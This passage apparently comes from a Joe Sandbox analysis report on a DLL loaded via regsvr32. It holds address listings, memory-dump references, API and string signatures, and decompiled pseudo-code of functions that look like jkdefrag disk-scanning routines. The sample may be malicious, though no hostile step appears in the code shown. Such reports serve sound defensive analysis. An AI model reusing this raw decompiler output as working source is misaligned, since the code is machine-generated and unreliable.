                                                                                                        0x180012bf2
                                                                                                        0x180012c05
                                                                                                        0x180012c0d
                                                                                                        0x180012c11
                                                                                                        0x180012c20
                                                                                                        0x180012c26
                                                                                                        0x180012c30
                                                                                                        0x180012c35
                                                                                                        0x180012c44
                                                                                                        0x180012c4a
                                                                                                        0x180012c54
                                                                                                        0x180012c5b
                                                                                                        0x180012c5d
                                                                                                        0x180012c65
                                                                                                        0x180012c6e
                                                                                                        0x180012c73
                                                                                                        0x180012c7b
                                                                                                        0x180012c89
                                                                                                        0x180012c96
                                                                                                        0x180012c9e
                                                                                                        0x180012ca3
                                                                                                        0x180012cb1
                                                                                                        0x180012cc0
                                                                                                        0x180012ccb
                                                                                                        0x180012ce3
                                                                                                        0x180012ce9
                                                                                                        0x180012cf4
                                                                                                        0x180012d02
                                                                                                        0x180012d0f
                                                                                                        0x180012d14
                                                                                                        0x180012d19
                                                                                                        0x180012d22
                                                                                                        0x180012d28
                                                                                                        0x180012d2d
                                                                                                        0x180012d32
                                                                                                        0x180012d35
                                                                                                        0x180012d3a
                                                                                                        0x180012d3f
                                                                                                        0x180012d48
                                                                                                        0x180012d56
                                                                                                        0x180012d63
                                                                                                        0x180012d66
                                                                                                        0x180012d6b
                                                                                                        0x180012d71
                                                                                                        0x180012d73
                                                                                                        0x180012d7f
                                                                                                        0x180012d8c
                                                                                                        0x180012d91
                                                                                                        0x180012d96
                                                                                                        0x180012da5
                                                                                                        0x180012db1
                                                                                                        0x180012db6
                                                                                                        0x180012dd4
                                                                                                        0x180012de7
                                                                                                        0x180012dec
                                                                                                        0x180012df1
                                                                                                        0x180012df4
                                                                                                        0x180012dfe
                                                                                                        0x180012e10
                                                                                                        0x180012e13
                                                                                                        0x180012e1a
                                                                                                        0x180012e1f
                                                                                                        0x180012e23
                                                                                                        0x180012e28
                                                                                                        0x180012e37
                                                                                                        0x180012e3a
                                                                                                        0x180012e42
                                                                                                        0x180012e47
                                                                                                        0x180012e4b
                                                                                                        0x180012e63
                                                                                                        0x180012e6a
                                                                                                        0x180012e6c
                                                                                                        0x180012e71
                                                                                                        0x180012e77
                                                                                                        0x180012e7d
                                                                                                        0x180012e8f
                                                                                                        0x180012e94
                                                                                                        0x180012e9f
                                                                                                        0x180012eae
                                                                                                        0x180012eb3
                                                                                                        0x180012eb7
                                                                                                        0x180012ebf
                                                                                                        0x180012ec4
                                                                                                        0x180012ecd
                                                                                                        0x180012efe

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: swprintf
                                                                                                        • String ID: AttributeList name = '%s'$ Error while reading Inode %I64u: %s$ Error: Inode %I64u is an extension of Inode %I64u, but does not exist (outside the MFT).$ Finished processing Inode %I64u Instance %u$ LowestVcn = %I64u, RefInode = %I64u, InodeSequence = %u, Instance = %u$ Processing Inode %I64u Instance %u$ Referenced Inode %I64u is not in use.$ Warning: Inode %I64u is an extension of Inode %I64u, but thinks it's an extension of Inode %I64u.$ List attribute: %s$ Processing AttributeList for Inode %I64u, %u bytes$Error: infinite attribute loop, the MFT may be corrupt.$Error: malloc() returned NULL.$The error occurred while processing Inode %I64u
                                                                                                        • API String ID: 233258989-2551504494
                                                                                                        • Opcode ID: 5a3c6c440f1c2239a458664e71b8ac33c0318fcb41a7de159f50dbff8e007471
                                                                                                        • Instruction ID: 783399c5ff431ee0805d5c676813c3669a7ff69eabc357a907dad9e016548384
                                                                                                        • Opcode Fuzzy Hash: 5a3c6c440f1c2239a458664e71b8ac33c0318fcb41a7de159f50dbff8e007471
                                                                                                        • Instruction Fuzzy Hash: 24D18E72204B9886D7A1CF55E450BAEB3A1F78DBC4F418226BE8D47B55EF38C658CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018006E538 Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 82%
                                                                                                        			E0000000118006E538(void* __edx, void* __rbx, unsigned int __rcx, signed int __rdx, void* __rdi, void* __rsi, long long __r9, void* __r12, void* __r14, void* __r15) {
				void* _t30;
				signed long long _t34;
				void* _t47;
				void* _t49;
				void* _t50;
				signed long long _t51;
				void* _t53;
				long long _t57;

				_t47 = __rdi;
				_t1 = _t50 - 0x6f0; // 0xf85f
				_t49 = _t1;
				_t51 = _t50 - 0x7f0;
				_t34 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t49 + 0x6e0) = _t34 ^ _t51;
				_t57 =  *((intOrPtr*)(_t49 + 0x750));
				 *(_t51 + 0x50) = __rcx;
				_t5 = _t51 + 0x70; // 0xffbf
				 *((long long*)(_t49 - 0x78)) = _t57;
				 *((long long*)(_t49 - 0x68)) = __r9;
				 *((intOrPtr*)(_t51 + 0x64)) = r8d;
				E000000011800773BC(_t30, _t5, __rdx, __rdi, _t53);
				r15d = 1;
				if (( *(_t51 + 0x70) & 0x0000001f) != 0x1f) goto 0x8006e5a3;
				 *((char*)(_t51 + 0x78)) = 0;
				goto 0x8006e5b2;
				_t11 = _t51 + 0x70; // 0xffbf
				E00000001180077434(( *(_t51 + 0x70) & 0x0000001f) - 0x1f, _t11, __rdi, __rsi);
				 *((intOrPtr*)(_t51 + 0x78)) = r15b;
				 *((long long*)(__r9 + 8)) = _t57;
				_t15 = _t47 + 0xd; // 0x2d
				_t22 =  <  ? _t15 : 0x20;
				r8d = 0;
				 *((intOrPtr*)(__r9)) =  <  ? _t15 : 0x20;
				_t16 = _t49 - 0x80; // 0xf7df
				E00000001180077358(0, _t34 ^ _t51, _t16);
				if (( *(_t51 + 0x50) >> 0x00000034 & __rdx) != 0) goto 0x8006e61a;
			}











                                                                                                        0x18006e538
                                                                                                        0x18006e543
                                                                                                        0x18006e543
                                                                                                        0x18006e54b
                                                                                                        0x18006e552
                                                                                                        0x18006e55c
                                                                                                        0x18006e563
                                                                                                        0x18006e56d
                                                                                                        0x18006e574
                                                                                                        0x18006e579
                                                                                                        0x18006e57d
                                                                                                        0x18006e581
                                                                                                        0x18006e586
                                                                                                        0x18006e58f
                                                                                                        0x18006e59a
                                                                                                        0x18006e59c
                                                                                                        0x18006e5a1
                                                                                                        0x18006e5a3
                                                                                                        0x18006e5a8
                                                                                                        0x18006e5ad
                                                                                                        0x18006e5be
                                                                                                        0x18006e5c6
                                                                                                        0x18006e5c9
                                                                                                        0x18006e5cc
                                                                                                        0x18006e5d1
                                                                                                        0x18006e5d5
                                                                                                        0x18006e5d9
                                                                                                        0x18006e5f7

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
                                                                                                        • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                        • API String ID: 808467561-2761157908
                                                                                                        • Opcode ID: 91c29b4a332f76a468500139e53ad5b5eb3dc6e112a1d3140bf598a65f095ebf
                                                                                                        • Instruction ID: 2dd4a5a30a86ee50708742e64a28568236a4edf70f1f7b42b01f6929baa6525e
                                                                                                        • Opcode Fuzzy Hash: 91c29b4a332f76a468500139e53ad5b5eb3dc6e112a1d3140bf598a65f095ebf
                                                                                                        • Instruction Fuzzy Hash: 55B2D3727143988BEBB68F64D8407ED37A2F3597C8F649115EA2A57B84DF349B08CB40
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180006024 Relevance: 23.1, APIs: 2, Strings: 11, Instructions: 386timeCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 75%
                                                                                                        			E00000001180006024(long long __rbx, void* __rcx, void* __rdx, void* __r8, void* __r9) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				int _t120;
				intOrPtr _t145;
				intOrPtr _t146;
				intOrPtr _t147;
				intOrPtr _t148;
				intOrPtr _t149;
				void* _t159;
				void* _t163;
				void* _t164;
				void* _t169;
				signed long long _t221;
				signed long long _t222;
				intOrPtr _t228;
				intOrPtr _t229;
				intOrPtr _t230;
				long long _t232;
				long long _t234;
				intOrPtr* _t235;
				intOrPtr* _t239;
				signed long long _t242;
				intOrPtr _t248;
				intOrPtr _t249;
				long long _t260;
				intOrPtr _t264;
				intOrPtr _t270;
				intOrPtr _t313;
				void* _t342;
				void* _t343;
				void* _t345;
				void* _t346;
				void* _t348;
				long long _t350;
				long long _t352;
				void* _t355;
				signed long long _t356;
				void* _t358;
				void* _t382;
				void* _t383;
				void* _t384;
				long long _t387;
				SYSTEMTIME* _t389;
				struct _SYSTEMTIME* _t395;

				_t358 = __r8;
				 *((long long*)(_t355 + 0x18)) = __rbx;
				_t356 = _t355 - 0x50;
				_t221 =  *0x800d81f8; // 0x68308725f9ca
				_t222 = _t221 ^ _t356;
				 *(_t356 + 0x48) = _t222;
				_t343 = __rdx;
				_t346 = __rcx;
				E00000001180005CCC();
				_t396 = _t222;
				E000000011800114C0(_t222);
				E00000001180013C3C();
				r9d = r9d | 0xffffffff;
				_t245 = _t222;
				r8d = __r9 + 2;
				E00000001180006A7C(_t159, _t222, _t222, _t346, __rdx, _t382);
				GetSystemTime(_t395);
				_t120 = SystemTimeToFileTime(_t389);
				r13d = 0;
				r12d = r13d;
				if (_t120 == 0) goto 0x800060a2;
				if (E00000001180011580(_t159, _t222, _t222, _t222, _t343, _t358) != 0) goto 0x80006139;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t343 + 8)))) != r13d) goto 0x800060cd;
				if (E00000001180010488(_t159, _t163, _t164, _t222, _t222, _t343, _t358, _t382) != 0) goto 0x80006139;
				_t169 =  *((intOrPtr*)( *((intOrPtr*)(_t343 + 8)))) - r13d;
				if (_t169 != 0) goto 0x80006139;
				_t381 = L"This is not a FAT or NTFS disk, using the slow scanner.";
				r8d = 0;
				E00000001180004968(_t159, 0,  *((intOrPtr*)(_t343 + 8)), _t222, _t343, _t358, L"This is not a FAT or NTFS disk, using the slow scanner.", _t387);
				_t260 =  *((intOrPtr*)(_t343 + 0x198)) -  *((intOrPtr*)(_t343 + 0x1a8));
				r8d = 3;
				 *((long long*)(_t343 + 0x210)) = _t260;
				 *((long long*)(_t343 + 0x210)) = _t260 +  *((intOrPtr*)(_t343 + 0x168)) -  *((intOrPtr*)(_t343 + 0x170));
				if (_t169 != 0) goto 0x8000610c;
				r9d = 0;
				E0000000118000E504(_t159, _t222, _t346, _t343,  *((intOrPtr*)(_t343 + 0x18)), L"This is not a FAT or NTFS disk, using the slow scanner.", _t382, _t383);
				r9d = 0;
				r8d = 0;
				 *((long long*)(_t343 + 0x218)) =  *((intOrPtr*)(_t343 + 0x210));
				 *((intOrPtr*)(_t356 + 0x20)) = r13d;
				E00000001180003778(_t245, _t222, _t343,  *((intOrPtr*)(_t343 + 0x18)), L"This is not a FAT or NTFS disk, using the slow scanner.", _t384);
				_t228 =  *((intOrPtr*)(_t343 + 0x120));
				 *((long long*)(_t343 + 0x218)) = _t387;
				 *((long long*)(_t343 + 0x210)) = _t387;
				if (_t228 == 0) goto 0x800061a6;
				_t264 =  *((intOrPtr*)(_t228 + 8));
				goto 0x80006184;
				_t229 = _t264;
				if ( *((intOrPtr*)(_t264 + 8)) != 0) goto 0x8000617d;
				 *((long long*)(_t343 + 0x210)) = _t387 + 1;
				E0000000118000F3BC(_t229);
				if (_t229 != 0) goto 0x8000618c;
				r8d = 0;
				E000000011800048A8(_t159, _t387 + 1, _t222, _t229, _t222,  *((intOrPtr*)(_t343 + 0x18)), _t342, _t345);
				_t248 =  *((intOrPtr*)(_t343 + 0x120));
				if (_t248 == 0) goto 0x800065a2;
				_t230 =  *((intOrPtr*)(_t248 + 8));
				goto 0x800061d0;
				_t249 = _t230;
				if ( *((intOrPtr*)(_t230 + 8)) != 0) goto 0x800061c9;
				_t232 =  *((intOrPtr*)(_t343 + 8));
				if ( *_t232 != r13d) goto 0x800065a2;
				if ( *((intOrPtr*)(_t249 + 0x20)) != _t387) goto 0x800061fa;
				E0000000118000C06C(_t249, _t346, _t343, _t343, _t346, _t249);
				 *((long long*)(_t249 + 0x20)) = _t232;
				if ( *((intOrPtr*)(_t249 + 0x30)) != _t387) goto 0x80006212;
				E0000000118000C124(_t249, _t346, _t343, _t343, _t346, _t249);
				 *((long long*)(_t249 + 0x30)) = _t232;
				_t270 =  *((intOrPtr*)(_t249 + 0x20));
				if (_t270 == 0) goto 0x80006243;
				_t313 =  *((intOrPtr*)(_t249 + 0x30));
				if (_t313 == 0) goto 0x80006243;
				if (_t270 == _t313) goto 0x80006243;
				if (E00000001180053BDC(_t232, _t270) != 0) goto 0x80006243;
				E00000001180053D58(_t249,  *((intOrPtr*)(_t249 + 0x30)), _t346, _t348);
				 *((long long*)(_t249 + 0x30)) =  *((intOrPtr*)(_t249 + 0x20));
				if ( *((intOrPtr*)(_t249 + 0x20)) != 0) goto 0x8000625f;
				_t234 =  *((intOrPtr*)(_t249 + 0x30));
				if (_t234 == 0) goto 0x80006269;
				 *((long long*)(_t249 + 0x20)) = _t234;
				if ( *((intOrPtr*)(_t249 + 0x30)) != _t387) goto 0x80006269;
				 *((long long*)(_t249 + 0x30)) = _t234;
				if (E0000000118000C290(_t249, _t346, _t234, _t346, _t222,  *((intOrPtr*)(_t343 + 0x18))) != 0) goto 0x800062b2;
				if (E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x30)), _t346, _t222,  *((intOrPtr*)(_t343 + 0x18))) != 0) goto 0x800062b2;
				 *((intOrPtr*)(_t356 + 0x28)) = r13d;
				r9d = 0;
				 *((long long*)(_t356 + 0x20)) = _t387;
				 *((intOrPtr*)(_t249 + 0x80)) = 1;
				E00000001180006F30(_t234, _t249, _t346, _t343, _t346, _t249, L"This is not a FAT or NTFS disk, using the slow scanner.", _t382);
				if ( *((intOrPtr*)(_t249 + 0x80)) != r13d) goto 0x8000648f;
				_t235 =  *((intOrPtr*)(_t343 + 0x130));
				if (_t235 == 0) goto 0x80006346;
				_t350 = _t387;
				if ( *_t235 == _t387) goto 0x80006346;
				if (E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x20)), _t346, _t350,  *((intOrPtr*)(_t387 + _t235))) == 1) goto 0x80006321;
				if (E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x30)), _t346, _t350,  *((intOrPtr*)(_t387 +  *((intOrPtr*)(_t343 + 0x130))))) == 1) goto 0x80006321;
				_t236 =  *((intOrPtr*)(_t343 + 0x130));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t343 + 0x130)) + (_t350 + 1) * 8)) != _t387) goto 0x800062d6;
				goto 0x80006346;
				 *((intOrPtr*)(_t356 + 0x28)) = r13d;
				r9d = 0;
				 *((long long*)(_t356 + 0x20)) = _t387;
				 *((intOrPtr*)(_t249 + 0x80)) = 1;
				E00000001180006F30( *((intOrPtr*)(_t343 + 0x130)), _t249, _t346, _t343, _t346, _t249, L"This is not a FAT or NTFS disk, using the slow scanner.", _t382);
				if ( *((intOrPtr*)(_t249 + 0x80)) != r13d) goto 0x8000648f;
				if ( *((intOrPtr*)(_t249 + 0x18)) == 0) goto 0x800063b9;
				if (E00000001180053BDC( *((intOrPtr*)(_t343 + 0x130)),  *((intOrPtr*)(_t249 + 0x18))) == 0) goto 0x80006394;
				if (E00000001180053BDC( *((intOrPtr*)(_t343 + 0x130)),  *((intOrPtr*)(_t249 + 0x18))) == 0) goto 0x80006394;
				if (E00000001180053BDC( *((intOrPtr*)(_t343 + 0x130)),  *((intOrPtr*)(_t249 + 0x18))) != 0) goto 0x800063b9;
				 *((intOrPtr*)(_t356 + 0x28)) = r13d;
				r9d = 0;
				 *((long long*)(_t356 + 0x20)) = _t387;
				 *((intOrPtr*)(_t249 + 0x80)) = 1;
				E00000001180006F30(_t236, _t249, _t346, _t343, _t346, _t249, L"This is not a FAT or NTFS disk, using the slow scanner.", _t382);
				if ( *((intOrPtr*)(_t249 + 0x80)) != r13d) goto 0x8000648f;
				if ( *((intOrPtr*)(_t249 + 0x78)) != r13d) goto 0x8000648f;
				if ( *((intOrPtr*)(_t343 + 0x138)) != 1) goto 0x800063ff;
				if ( *((long long*)(_t249 + 0x38)) - 0x3200000 > 0) goto 0x80006461;
				if ( *((intOrPtr*)(_t343 + 0x10)) != 1) goto 0x800063ff;
				if ( *((intOrPtr*)(_t249 + 0x58)) + 0xf8648000 -  *((intOrPtr*)(_t356 + 0x30)) < 0) goto 0x80006461;
				_t239 =  *((intOrPtr*)(_t343 + 0x140));
				if (_t239 == 0) goto 0x8000646b;
				_t352 = _t387;
				if ( *_t239 == _t387) goto 0x8000646b;
				if (E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x20)), _t346, _t352,  *((intOrPtr*)(_t387 + _t239))) == 1) goto 0x80006461;
				if (E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x30)), _t346, _t352,  *((intOrPtr*)( *((intOrPtr*)(_t343 + 0x140)) + _t387))) == 1) goto 0x80006461;
				_t353 = _t352 + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t343 + 0x140)) + (_t352 + 1) * 8)) != _t387) goto 0x80006416;
				goto 0x8000646b;
				 *((intOrPtr*)(_t249 + 0x84)) = 1;
				if ( *((intOrPtr*)(_t249 + 0x84)) != 1) goto 0x8000648f;
				 *((intOrPtr*)(_t356 + 0x28)) = r13d;
				r9d = 0;
				 *((long long*)(_t356 + 0x20)) = _t387;
				E00000001180006F30( *((intOrPtr*)(_t343 + 0x140)), _t249, _t346, _t343, _t346, _t249, _t381, _t382);
				_t145 = E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x20)), _t346, _t352 + 1, L"*\\safeboot.fs");
				if (_t145 != 1) goto 0x800064aa;
				 *((intOrPtr*)(_t249 + 0x7c)) = _t145;
				_t146 = E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x20)), _t346, _t352 + 1, L"?:\\bootwiz.sys");
				if (_t146 != 1) goto 0x800064c5;
				 *((intOrPtr*)(_t249 + 0x7c)) = _t146;
				_t147 = E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x20)), _t346, _t352 + 1, L"*\\BOOTWIZ\\*");
				if (_t147 != 1) goto 0x800064e0;
				 *((intOrPtr*)(_t249 + 0x7c)) = _t147;
				_t148 = E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x20)), _t346, _t352 + 1, L"?:\\BootAuth?.sys");
				if (_t148 != 1) goto 0x800064fb;
				 *((intOrPtr*)(_t249 + 0x7c)) = _t148;
				_t149 = E0000000118000C290(_t249, _t346,  *((intOrPtr*)(_t249 + 0x20)), _t346, _t353, L"*\\Gobackio.bin");
				if (_t149 != 1) goto 0x80006516;
				 *((intOrPtr*)(_t249 + 0x7c)) = _t149;
				if ( *((intOrPtr*)(_t249 + 0x18)) == 0) goto 0x8000654a;
				if (E00000001180053BDC( *((intOrPtr*)(_t343 + 0x140)),  *((intOrPtr*)(_t249 + 0x18))) == 0) goto 0x80006543;
				if (E00000001180053BDC( *((intOrPtr*)(_t343 + 0x140)),  *((intOrPtr*)(_t249 + 0x18))) != 0) goto 0x8000654a;
				 *((intOrPtr*)(_t249 + 0x7c)) = 1;
				 *((long long*)(_t343 + 0x218)) =  *((long long*)(_t343 + 0x218)) + 1;
				_t242 = (L"$BadClus:$Bad:$DATA" >> 0xb) * 0x2710;
				if ( *((intOrPtr*)(_t343 + 0x218)) != _t242) goto 0x8000658b;
				r9d = 0;
				 *((intOrPtr*)(_t356 + 0x20)) = r13d;
				r8d = 0;
				E00000001180003778(_t249, _t222, _t343, L"*\\Gobackio.bin", _t381);
				E0000000118000F3BC(_t249);
				if (_t242 != 0) goto 0x800061d5;
				r9d = 0;
				r8d = 0;
				 *((long long*)(_t343 + 0x218)) =  *((intOrPtr*)(_t343 + 0x210));
				 *((intOrPtr*)(_t356 + 0x20)) = r13d;
				E00000001180003778(_t242, _t222, _t343, L"*\\Gobackio.bin", _t381);
				E000000011800066D4(_t159, _t242, _t346, _t343, _t343, _t346, L"*\\Gobackio.bin");
				r8d = 0;
				return E000000011800149A0(E000000011800048A8(_t159, _t242, _t396, _t343, _t353, L"*\\Gobackio.bin"), _t159,  *(_t356 + 0x48) ^ _t356);
			}
















































                                                                                                        0x180006024
                                                                                                        0x180006024
                                                                                                        0x180006034
                                                                                                        0x180006038
                                                                                                        0x18000603f
                                                                                                        0x180006042
                                                                                                        0x180006047
                                                                                                        0x18000604a
                                                                                                        0x18000604d
                                                                                                        0x180006052
                                                                                                        0x180006055
                                                                                                        0x18000605d
                                                                                                        0x180006062
                                                                                                        0x18000606c
                                                                                                        0x18000606f
                                                                                                        0x180006073
                                                                                                        0x18000607d
                                                                                                        0x18000608d
                                                                                                        0x180006093
                                                                                                        0x180006096
                                                                                                        0x18000609b
                                                                                                        0x1800060af
                                                                                                        0x1800060bc
                                                                                                        0x1800060cb
                                                                                                        0x1800060d1
                                                                                                        0x1800060d4
                                                                                                        0x1800060d6
                                                                                                        0x1800060dd
                                                                                                        0x1800060e5
                                                                                                        0x1800060f8
                                                                                                        0x1800060ff
                                                                                                        0x180006105
                                                                                                        0x18000611a
                                                                                                        0x180006125
                                                                                                        0x18000612b
                                                                                                        0x180006134
                                                                                                        0x180006140
                                                                                                        0x180006143
                                                                                                        0x180006146
                                                                                                        0x180006150
                                                                                                        0x180006158
                                                                                                        0x18000615d
                                                                                                        0x180006164
                                                                                                        0x18000616b
                                                                                                        0x180006175
                                                                                                        0x180006177
                                                                                                        0x18000617b
                                                                                                        0x18000617d
                                                                                                        0x180006187
                                                                                                        0x180006195
                                                                                                        0x18000619c
                                                                                                        0x1800061a4
                                                                                                        0x1800061a6
                                                                                                        0x1800061ae
                                                                                                        0x1800061b3
                                                                                                        0x1800061bd
                                                                                                        0x1800061c3
                                                                                                        0x1800061c7
                                                                                                        0x1800061c9
                                                                                                        0x1800061d3
                                                                                                        0x1800061d5
                                                                                                        0x1800061dc
                                                                                                        0x1800061e6
                                                                                                        0x1800061f1
                                                                                                        0x1800061f6
                                                                                                        0x1800061fe
                                                                                                        0x180006209
                                                                                                        0x18000620e
                                                                                                        0x180006212
                                                                                                        0x180006219
                                                                                                        0x18000621b
                                                                                                        0x180006222
                                                                                                        0x180006227
                                                                                                        0x180006230
                                                                                                        0x180006236
                                                                                                        0x18000623f
                                                                                                        0x18000624a
                                                                                                        0x18000624c
                                                                                                        0x180006256
                                                                                                        0x180006258
                                                                                                        0x180006263
                                                                                                        0x180006265
                                                                                                        0x180006277
                                                                                                        0x18000628b
                                                                                                        0x18000628d
                                                                                                        0x180006292
                                                                                                        0x180006298
                                                                                                        0x1800062a0
                                                                                                        0x1800062ad
                                                                                                        0x1800062b9
                                                                                                        0x1800062bf
                                                                                                        0x1800062c9
                                                                                                        0x1800062cb
                                                                                                        0x1800062d1
                                                                                                        0x1800062e9
                                                                                                        0x180006305
                                                                                                        0x180006307
                                                                                                        0x18000631d
                                                                                                        0x18000631f
                                                                                                        0x180006321
                                                                                                        0x180006326
                                                                                                        0x18000632c
                                                                                                        0x180006334
                                                                                                        0x180006341
                                                                                                        0x18000634d
                                                                                                        0x18000635a
                                                                                                        0x18000636a
                                                                                                        0x18000637e
                                                                                                        0x180006392
                                                                                                        0x180006394
                                                                                                        0x180006399
                                                                                                        0x18000639f
                                                                                                        0x1800063a7
                                                                                                        0x1800063b4
                                                                                                        0x1800063c0
                                                                                                        0x1800063ca
                                                                                                        0x1800063d7
                                                                                                        0x1800063e1
                                                                                                        0x1800063e7
                                                                                                        0x1800063fd
                                                                                                        0x1800063ff
                                                                                                        0x180006409
                                                                                                        0x18000640b
                                                                                                        0x180006411
                                                                                                        0x180006429
                                                                                                        0x180006445
                                                                                                        0x18000644e
                                                                                                        0x18000645d
                                                                                                        0x18000645f
                                                                                                        0x180006461
                                                                                                        0x180006472
                                                                                                        0x180006474
                                                                                                        0x180006479
                                                                                                        0x18000647f
                                                                                                        0x18000648a
                                                                                                        0x18000649d
                                                                                                        0x1800064a5
                                                                                                        0x1800064a7
                                                                                                        0x1800064b8
                                                                                                        0x1800064c0
                                                                                                        0x1800064c2
                                                                                                        0x1800064d3
                                                                                                        0x1800064db
                                                                                                        0x1800064dd
                                                                                                        0x1800064ee
                                                                                                        0x1800064f6
                                                                                                        0x1800064f8
                                                                                                        0x180006509
                                                                                                        0x180006511
                                                                                                        0x180006513
                                                                                                        0x18000651d
                                                                                                        0x18000652d
                                                                                                        0x180006541
                                                                                                        0x180006543
                                                                                                        0x18000654a
                                                                                                        0x180006569
                                                                                                        0x180006573
                                                                                                        0x180006575
                                                                                                        0x180006578
                                                                                                        0x18000657d
                                                                                                        0x180006586
                                                                                                        0x180006591
                                                                                                        0x18000659c
                                                                                                        0x1800065a9
                                                                                                        0x1800065ac
                                                                                                        0x1800065af
                                                                                                        0x1800065b9
                                                                                                        0x1800065c1
                                                                                                        0x1800065cc
                                                                                                        0x1800065d1
                                                                                                        0x180006603

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Time$System$ControlDeviceFile
                                                                                                        • String ID: $BadClus$$BadClus:$Bad:$DATA$*\BOOTWIZ\*$*\Gobackio.bin$*\safeboot.fs$?:\BootAuth?.sys$?:\bootwiz.sys$This is not a FAT or NTFS disk, using the slow scanner.$jkdefrag.log$jkdefragcmd.log$jkdefragscreensaver.log
                                                                                                        • API String ID: 2276236448-719532936
                                                                                                        • Opcode ID: 0956c804fe92273d2122de5f47f9050ccb8c9fa73f6985b50e111d29865d345a
                                                                                                        • Instruction ID: 3a107540474054df50354401b8e1ab52c474f8eae287374976e2d90f1a5f2170
                                                                                                        • Opcode Fuzzy Hash: 0956c804fe92273d2122de5f47f9050ccb8c9fa73f6985b50e111d29865d345a
                                                                                                        • Instruction Fuzzy Hash: EBF16B72700A4886EFE6DF26D5513E973A6F75DBC8F048426EE09477A5DF34C6998300
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018000E504 Relevance: 19.8, APIs: 9, Strings: 2, Instructions: 507filetimeCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 44%
                                                                                                        			E0000000118000E504(void* __ecx, long long __rbx, long long __rcx, void* __rdx, long long __r8, long long __r9, void* __r10, void* __r11) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t205;
				intOrPtr _t213;
				void* _t216;
				void* _t254;
				intOrPtr _t311;
				signed int _t312;
				signed long long _t334;
				signed long long _t335;
				intOrPtr* _t336;
				long long _t337;
				long long _t338;
				long long _t339;
				intOrPtr _t343;
				long long _t344;
				long long _t360;
				long long _t363;
				long long _t365;
				long long _t366;
				long long _t370;
				intOrPtr _t374;
				long long _t375;
				long long _t376;
				signed long long _t406;
				intOrPtr _t421;
				void* _t422;
				void* _t472;
				intOrPtr* _t473;
				long long _t474;
				void* _t476;
				void* _t477;
				void* _t479;
				void* _t480;
				void* _t482;
				signed long long _t483;
				long long _t485;
				intOrPtr _t511;
				void* _t528;
				WCHAR* _t529;
				long long _t530;
				SYSTEMTIME* _t534;
				struct _SYSTEMTIME* _t539;
				long long _t541;
				intOrPtr* _t544;
				long long* _t546;
				void* _t550;
				signed long long _t551;

				_t528 = __r11;
				_t485 = __r8;
				_t254 = __ecx;
				 *((long long*)(_t482 + 0x20)) = __rbx;
				_t480 = _t482 - 0x200;
